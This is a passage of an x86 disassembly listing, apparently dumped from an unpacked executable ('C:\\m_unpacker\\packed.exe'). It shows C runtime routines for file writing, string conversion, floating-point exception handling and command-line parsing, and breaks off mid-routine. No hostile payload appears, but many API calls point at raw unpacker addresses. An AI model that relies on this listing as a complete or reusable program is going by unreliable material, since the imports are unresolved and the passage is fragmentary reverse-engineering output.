sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DCC80h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_42290A
push 2
push 0
push [ebp+var_C]
call sub_42272B
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4228D1
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_4228BC: ; CODE XREF: sub_4227C5+104j
cmp eax, ecx
jnb short loc_4228CB
cmp byte ptr [eax], 0Ah
jnz short loc_4228C8
inc [ebp+arg_0]
loc_4228C8: ; CODE XREF: sub_4227C5+FEj
inc eax
jmp short loc_4228BC
; ---------------------------------------------------------------------------
loc_4228CB: ; CODE XREF: sub_4227C5+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_422905
; ---------------------------------------------------------------------------
loc_4228D1: ; CODE XREF: sub_4227C5+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_42272B
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4228F8
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4228F8
test ch, 4
jz short loc_4228FB
loc_4228F8: ; CODE XREF: sub_4227C5+124j
; sub_4227C5+12Cj
mov eax, [edi+18h]
loc_4228FB: ; CODE XREF: sub_4227C5+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_422905: ; CODE XREF: sub_4227C5+10Aj
jz short loc_42290A
inc [ebp+arg_0]
loc_42290A: ; CODE XREF: sub_4227C5+D9j
; sub_4227C5:loc_422905j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_422910: ; CODE XREF: sub_4227C5+A4j
; sub_4227C5+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_422918: ; CODE XREF: sub_4227C5+3Cj
; sub_4227C5+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4227C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p
; sub_41DB8B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DCD80
push esi
push edi
jnb loc_422AB1
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DCC80h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_422AB1
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42296E
loc_422967: ; CODE XREF: sub_42291D+177j
xor eax, eax
jmp loc_422AC5
; ---------------------------------------------------------------------------
loc_42296E: ; CODE XREF: sub_42291D+48j
test al, 20h
jz short loc_42297E
push 2
push edi
push ecx
call sub_42272B
add esp, 0Ch
loc_42297E: ; CODE XREF: sub_42291D+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_422A4D
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_422A85
loc_42299E: ; CODE XREF: sub_42291D+F5j
lea eax, [ebp+var_414]
loc_4229A4: ; CODE XREF: sub_42291D+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4229D8
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4229C3
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4229C3: ; CODE XREF: sub_42291D+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_4229A4
loc_4229D8: ; CODE XREF: sub_42291D+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 28A0000h
test eax, eax
jz short loc_422A42
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_422A14
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42299E
loc_422A14: ; CODE XREF: sub_42291D+EAj
; sub_42291D+12Ej
xor edi, edi
loc_422A16: ; CODE XREF: sub_42291D+150j
; sub_42291D+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_422AAC
cmp [ebp+arg_0], edi
jz short loc_422A85
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_422A7A
mov dword_4DB928, 9
mov dword_4DB92C, eax
jmp loc_422AC2
; ---------------------------------------------------------------------------
loc_422A42: ; CODE XREF: sub_42291D+E0j
call near ptr 2830047h
nop
mov [ebp+arg_0], eax
jmp short loc_422A14
; ---------------------------------------------------------------------------
loc_422A4D: ; CODE XREF: sub_42291D+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
nop
call near ptr 28A0000h
test eax, eax
jz short loc_422A6F
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A6F: ; CODE XREF: sub_42291D+145j
call near ptr 2830047h
nop
mov [ebp+arg_0], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A7A: ; CODE XREF: sub_42291D+10Fj
push [ebp+arg_0]
call sub_4203DF
pop ecx
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422A85: ; CODE XREF: sub_42291D+7Bj
; sub_42291D+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_422A9A
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_422967
loc_422A9A: ; CODE XREF: sub_42291D+16Fj
mov dword_4DB928, 1Ch
mov dword_4DB92C, edi
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422AAC: ; CODE XREF: sub_42291D+FEj
sub eax, [ebp+var_10]
jmp short loc_422AC5
; ---------------------------------------------------------------------------
loc_422AB1: ; CODE XREF: sub_42291D+15j
; sub_42291D+37j
and dword_4DB92C, 0
mov dword_4DB928, 9
loc_422AC2: ; CODE XREF: sub_42291D+120j
; sub_42291D+166j ...
or eax, 0FFFFFFFFh
loc_422AC5: ; CODE XREF: sub_42291D+4Cj
; sub_42291D+192j
pop edi
pop esi
pop ebx
leave
retn
sub_42291D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p
; sub_41D5AA+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427948
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DB9FC, edi
jnz short loc_422B40
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427940
mov esi, 100h
push esi
push edi
nop
call near ptr 27E0000h
test eax, eax
jz short loc_422B1E
mov dword_4DB9FC, ebx
jmp short loc_422B40
; ---------------------------------------------------------------------------
loc_422B1E: ; CODE XREF: sub_422ACA+4Aj
push edi
push edi
push ebx
push offset dword_4CB4DC
push esi
push edi
nop
call near ptr 27F0000h
test eax, eax
jz loc_422C58
mov dword_4DB9FC, 2
loc_422B40: ; CODE XREF: sub_422ACA+2Ej
; sub_422ACA+52j
cmp [ebp+arg_C], edi
jle short loc_422B55
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_422B55: ; CODE XREF: sub_422ACA+79j
mov eax, dword_4DB9FC
cmp eax, 2
jnz short loc_422B7C
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 27F0000h
nop
jmp loc_422C5A
; ---------------------------------------------------------------------------
loc_422B7C: ; CODE XREF: sub_422ACA+93j
cmp eax, 1
jnz loc_422C58
cmp [ebp+arg_18], edi
jnz short loc_422B92
mov eax, dword_4DB9F4
mov [ebp+arg_18], eax
loc_422B92: ; CODE XREF: sub_422ACA+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call near ptr 29D0000h
nop
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_422C58
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422BED
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_422BED: ; CODE XREF: sub_422ACA+10Ej
cmp [ebp+var_24], edi
jz short loc_422C58
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
nop
call near ptr 29D0000h
test eax, eax
jz short loc_422C58
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 27E0000h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_422C58
test byte ptr [ebp+arg_4+1], 4
jz short loc_422C6C
cmp [ebp+arg_14], edi
jz loc_422CE7
cmp esi, [ebp+arg_14]
jg short loc_422C58
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 27E0000h
test eax, eax
jnz loc_422CE7
loc_422C58: ; CODE XREF: sub_422ACA+66j
; sub_422ACA+B5j ...
xor eax, eax
loc_422C5A: ; CODE XREF: sub_422ACA+ADj
; sub_422ACA+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_422C6C: ; CODE XREF: sub_422ACA+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422CA0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_422CA0: ; CODE XREF: sub_422ACA+1C2j
cmp ebx, edi
jz short loc_422C58
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 27E0000h
test eax, eax
jz short loc_422C58
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_422CC7
push edi
push edi
jmp short loc_422CCD
; ---------------------------------------------------------------------------
loc_422CC7: ; CODE XREF: sub_422ACA+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_422CCD: ; CODE XREF: sub_422ACA+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call near ptr 29C1170h
nop
mov esi, eax
cmp esi, edi
jz loc_422C58
loc_422CE7: ; CODE XREF: sub_422ACA+165j
; sub_422ACA+188j
mov eax, esi
jmp loc_422C5A
sub_422ACA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_422E2F
test eax, eax
pop ecx
jz loc_422E23
mov ebx, [eax+8]
test ebx, ebx
jz loc_422E23
cmp ebx, 5
jnz short loc_422D1F
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_422E2C
; ---------------------------------------------------------------------------
loc_422D1F: ; CODE XREF: ___:00422D11j
cmp ebx, 1
jz loc_422E1E
mov ecx, dword_4DBA00
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4DBA00, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_422E0E
mov ecx, dword_43CFF0
mov edx, dword_43CFF4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_422D6E
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43CF80h[esi*4]
loc_422D65: ; CODE XREF: ___:00422D6Cj
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_422D65
loc_422D6E: ; CODE XREF: ___:00422D57j
mov eax, [eax]
mov esi, dword_43CFFC
cmp eax, 0C000008Eh
jnz short loc_422D89
mov dword_43CFFC, 83h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D89: ; CODE XREF: ___:00422D7Bj
cmp eax, 0C0000090h
jnz short loc_422D9C
mov dword_43CFFC, 81h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D9C: ; CODE XREF: ___:00422D8Ej
cmp eax, 0C0000091h
jnz short loc_422DAF
mov dword_43CFFC, 84h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DAF: ; CODE XREF: ___:00422DA1j
cmp eax, 0C0000093h
jnz short loc_422DC2
mov dword_43CFFC, 85h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DC2: ; CODE XREF: ___:00422DB4j
cmp eax, 0C000008Dh
jnz short loc_422DD5
mov dword_43CFFC, 82h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DD5: ; CODE XREF: ___:00422DC7j
cmp eax, 0C000008Fh
jnz short loc_422DE8
mov dword_43CFFC, 86h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DE8: ; CODE XREF: ___:00422DDAj
cmp eax, 0C0000092h
jnz short loc_422DF9
mov dword_43CFFC, 8Ah
loc_422DF9: ; CODE XREF: ___:00422D87j
; ___:00422D9Aj ...
push dword_43CFFC
push 8
call ebx
pop ecx
mov dword_43CFFC, esi
pop ecx
pop esi
jmp short loc_422E16
; ---------------------------------------------------------------------------
loc_422E0E: ; CODE XREF: ___:00422D40j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_422E16: ; CODE XREF: ___:00422E0Cj
mov eax, [ebp+8]
mov dword_4DBA00, eax
loc_422E1E: ; CODE XREF: ___:00422D22j
or eax, 0FFFFFFFFh
jmp short loc_422E2C
; ---------------------------------------------------------------------------
loc_422E23: ; CODE XREF: ___:00422CFDj
; ___:00422D08j
push dword ptr [ebp+0Ch]
nop
call near ptr 27D0360h
loc_422E2C: ; CODE XREF: ___:00422D1Aj
; ___:00422E21j
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_422E2F proc near ; CODE XREF: ___:00422CF5p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43CFF8
cmp dword_43CF78, edx
push esi
mov eax, offset dword_43CF78
jz short loc_422E5C
lea esi, [ecx+ecx*2]
lea esi, ds:43CF78h[esi*4]
loc_422E51: ; CODE XREF: sub_422E2F+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_422E5C
cmp [eax], edx
jnz short loc_422E51
loc_422E5C: ; CODE XREF: sub_422E2F+16j
; sub_422E2F+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43CF78h[ecx*4]
cmp eax, ecx
jnb short loc_422E6F
cmp [eax], edx
jz short locret_422E71
loc_422E6F: ; CODE XREF: sub_422E2F+3Aj
xor eax, eax
locret_422E71: ; CODE XREF: sub_422E2F+3Ej
retn
sub_422E2F endp
; ---------------------------------------------------------------------------
cmp dword_4DCFD4, 0
jnz short loc_422E80
call sub_42026D
loc_422E80: ; CODE XREF: ___:00422E79j
push esi
mov esi, dword_4DCFCC
mov al, [esi]
cmp al, 22h
jnz short loc_422EB2
loc_422E8D: ; CODE XREF: ___:00422EA5j
; ___:00422EA8j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_422EAA
test al, al
jz short loc_422EAA
movzx eax, al
push eax
call sub_424D36
test eax, eax
pop ecx
jz short loc_422E8D
inc esi
jmp short loc_422E8D
; ---------------------------------------------------------------------------
loc_422EAA: ; CODE XREF: ___:00422E93j
; ___:00422E97j
cmp byte ptr [esi], 22h
jnz short loc_422EBC
loc_422EAF: ; CODE XREF: ___:00422EC4j
inc esi
jmp short loc_422EBC
; ---------------------------------------------------------------------------
loc_422EB2: ; CODE XREF: ___:00422E8Bj
cmp al, 20h
jbe short loc_422EBC
loc_422EB6: ; CODE XREF: ___:00422EBAj
inc esi
cmp byte ptr [esi], 20h
ja short loc_422EB6
loc_422EBC: ; CODE XREF: ___:00422EADj
; ___:00422EB0j ...
mov al, [esi]
test al, al
jz short loc_422EC6
cmp al, 20h
jbe short loc_422EAF
loc_422EC6: ; CODE XREF: ___:00422EC0j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4DCFD4, ebx
push esi
push edi
jnz short loc_422EDC
call sub_42026D
loc_422EDC: ; CODE XREF: ___:00422ED5j
mov esi, dword_4DB998
xor edi, edi
loc_422EE4: ; CODE XREF: ___:00422EFAj
mov al, [esi]
cmp al, bl
jz short loc_422EFC
cmp al, 3Dh
jz short loc_422EEF
inc edi
loc_422EEF: ; CODE XREF: ___:00422EECj
push esi
call sub_41AFE0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_422EE4
; ---------------------------------------------------------------------------
loc_422EFC: ; CODE XREF: ___:00422EE8j
lea eax, ds:4[edi*4]
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DB950, esi
jnz short loc_422F1E
push 9
call sub_41DA29
pop ecx
loc_422F1E: ; CODE XREF: ___:00422F14j
mov edi, dword_4DB998
cmp [edi], bl
jz short loc_422F61
push ebp
loc_422F29: ; CODE XREF: ___:00422F5Ej
push edi
call sub_41AFE0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_422F5A
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_422F4D
push 9
call sub_41DA29
pop ecx
loc_422F4D: ; CODE XREF: ___:00422F43j
push edi
push dword ptr [esi]
call sub_41BEB0
pop ecx
add esi, 4
pop ecx
loc_422F5A: ; CODE XREF: ___:00422F36j
add edi, ebp
cmp [edi], bl
jnz short loc_422F29
pop ebp
loc_422F61: ; CODE XREF: ___:00422F26j
push dword_4DB998
call sub_41B0B1
pop ecx
mov dword_4DB998, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DCFD0, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DCFD4, ebx
push esi
push edi
jnz short loc_422F9A
call sub_42026D
loc_422F9A: ; CODE XREF: ___:00422F93j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
nop
call near ptr 2810000h
mov eax, dword_4DCFCC
mov off_4DB960, esi
mov edi, esi
cmp [eax], bl
jz short loc_422FBF
mov edi, eax
loc_422FBF: ; CODE XREF: ___:00422FBBj
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_42301C
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_41B4D5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_422FEF
push 8
call sub_41DA29
pop ecx
loc_422FEF: ; CODE XREF: ___:00422FE5j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_42301C
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_4DB948, esi
pop edi
pop esi
mov dword_4DB944, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42301C proc near ; CODE XREF: ___:00422FCAp
; ___:00423000p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_423046
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423046: ; CODE XREF: sub_42301C+20j
cmp byte ptr [eax], 22h
jnz short loc_42308F
loc_42304B: ; CODE XREF: sub_42301C+58j
; sub_42301C+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_42307D
test dl, dl
jz short loc_42307D
movzx edx, dl
test byte_4DCEA1[edx], 4
jz short loc_423070
inc dword ptr [ecx]
test esi, esi
jz short loc_423070
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423070: ; CODE XREF: sub_42301C+46j
; sub_42301C+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_42304B
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_42304B
; ---------------------------------------------------------------------------
loc_42307D: ; CODE XREF: sub_42301C+36j
; sub_42301C+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423087
and byte ptr [esi], 0
inc esi
loc_423087: ; CODE XREF: sub_42301C+65j
cmp byte ptr [eax], 22h
jnz short loc_4230D2
inc eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_42308F: ; CODE XREF: sub_42301C+2Dj
; sub_42301C+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_42309A
mov dl, [eax]
mov [esi], dl
inc esi
loc_42309A: ; CODE XREF: sub_42301C+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DCEA1[ebx], 4
jz short loc_4230B5
inc dword ptr [ecx]
test esi, esi
jz short loc_4230B4
mov bl, [eax]
mov [esi], bl
inc esi
loc_4230B4: ; CODE XREF: sub_42301C+91j
inc eax
loc_4230B5: ; CODE XREF: sub_42301C+8Bj
cmp dl, 20h
jz short loc_4230C3
test dl, dl
jz short loc_4230C7
cmp dl, 9
jnz short loc_42308F
loc_4230C3: ; CODE XREF: sub_42301C+9Cj
test dl, dl
jnz short loc_4230CA
loc_4230C7: ; CODE XREF: sub_42301C+A0j
dec eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_4230CA: ; CODE XREF: sub_42301C+A9j
test esi, esi
jz short loc_4230D2
and byte ptr [esi-1], 0
loc_4230D2: ; CODE XREF: sub_42301C+6Ej
; sub_42301C+71j ...
and [ebp+arg_10], 0
loc_4230D6: ; CODE XREF: sub_42301C+19Ej
cmp byte ptr [eax], 0
jz loc_4231BF
loc_4230DF: ; CODE XREF: sub_42301C+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4230EB
cmp dl, 9
jnz short loc_4230EE
loc_4230EB: ; CODE XREF: sub_42301C+C8j
inc eax
jmp short loc_4230DF
; ---------------------------------------------------------------------------
loc_4230EE: ; CODE XREF: sub_42301C+CDj
cmp byte ptr [eax], 0
jz loc_4231BF
test edi, edi
jz short loc_423103
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423103: ; CODE XREF: sub_42301C+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423108: ; CODE XREF: sub_42301C+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_423111: ; CODE XREF: sub_42301C+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_42311A
inc eax
inc ebx
jmp short loc_423111
; ---------------------------------------------------------------------------
loc_42311A: ; CODE XREF: sub_42301C+F8j
cmp byte ptr [eax], 22h
jnz short loc_42314B
test bl, 1
jnz short loc_423149
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423138
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423138
mov eax, edx
jmp short loc_42313B
; ---------------------------------------------------------------------------
loc_423138: ; CODE XREF: sub_42301C+10Dj
; sub_42301C+116j
mov [ebp+arg_0], edi
loc_42313B: ; CODE XREF: sub_42301C+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423149: ; CODE XREF: sub_42301C+106j
shr ebx, 1
loc_42314B: ; CODE XREF: sub_42301C+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423160
inc ebx
loc_423153: ; CODE XREF: sub_42301C+142j
test esi, esi
jz short loc_42315B
mov byte ptr [esi], 5Ch
inc esi
loc_42315B: ; CODE XREF: sub_42301C+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_423153
loc_423160: ; CODE XREF: sub_42301C+134j
mov dl, [eax]
test dl, dl
jz short loc_4231B0
cmp [ebp+arg_10], 0
jnz short loc_423176
cmp dl, 20h
jz short loc_4231B0
cmp dl, 9
jz short loc_4231B0
loc_423176: ; CODE XREF: sub_42301C+14Ej
cmp [ebp+arg_0], 0
jz short loc_4231AA
test esi, esi
jz short loc_423199
movzx ebx, dl
test byte_4DCEA1[ebx], 4
jz short loc_423192
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_423192: ; CODE XREF: sub_42301C+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4231A8
; ---------------------------------------------------------------------------
loc_423199: ; CODE XREF: sub_42301C+162j
movzx edx, dl
test byte_4DCEA1[edx], 4
jz short loc_4231A8
inc eax
inc dword ptr [ecx]
loc_4231A8: ; CODE XREF: sub_42301C+17Bj
; sub_42301C+187j
inc dword ptr [ecx]
loc_4231AA: ; CODE XREF: sub_42301C+15Ej
inc eax
jmp loc_423108
; ---------------------------------------------------------------------------
loc_4231B0: ; CODE XREF: sub_42301C+148j
; sub_42301C+153j ...
test esi, esi
jz short loc_4231B8
and byte ptr [esi], 0
inc esi
loc_4231B8: ; CODE XREF: sub_42301C+196j
inc dword ptr [ecx]
jmp loc_4230D6
; ---------------------------------------------------------------------------
loc_4231BF: ; CODE XREF: sub_42301C+BDj
; sub_42301C+D5j
test edi, edi
jz short loc_4231C6
and dword ptr [edi], 0
loc_4231C6: ; CODE XREF: sub_42301C+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_42301C endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_4DBB08
push ebx
push ebp
mov ebp, dword_42703C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_42321E
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_4231FF
mov dword_4DBB08, 1
jmp short loc_423227
; ---------------------------------------------------------------------------
loc_4231FF: ; CODE XREF: ___:004231F1j
nop
call near ptr 27D0000h
mov edi, eax
cmp edi, ebx
jz loc_4232F9
mov dword_4DBB08, 2
jmp loc_4232AD
; ---------------------------------------------------------------------------
loc_42321E: ; CODE XREF: ___:004231E9j
cmp eax, 1
jnz loc_4232A8
loc_423227: ; CODE XREF: ___:004231FDj
cmp esi, ebx
jnz short loc_423237
call ebp
mov esi, eax
cmp esi, ebx
jz loc_4232F9
loc_423237: ; CODE XREF: ___:00423229j
cmp [esi], bx
mov eax, esi
jz short loc_42324C
loc_42323E: ; CODE XREF: ___:00423243j
; ___:0042324Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
loc_42324C: ; CODE XREF: ___:0042323Cj
sub eax, esi
mov edi, dword_42717C
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_42329D
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_42329D
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_423299
push dword ptr [esp+10h]
call sub_41B0B1
pop ecx
mov [esp+10h], ebx
loc_423299: ; CODE XREF: ___:00423289j
mov ebx, [esp+10h]
loc_42329D: ; CODE XREF: ___:00423269j
; ___:00423278j
push esi
nop
call near ptr 27D025Bh
mov eax, ebx
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232A8: ; CODE XREF: ___:00423221j
cmp eax, 2
jnz short loc_4232F9
loc_4232AD: ; CODE XREF: ___:00423219j
cmp edi, ebx
jnz short loc_4232BD
nop
call near ptr 27D0000h
mov edi, eax
cmp edi, ebx
jz short loc_4232F9
loc_4232BD: ; CODE XREF: ___:004232AFj
cmp [edi], bl
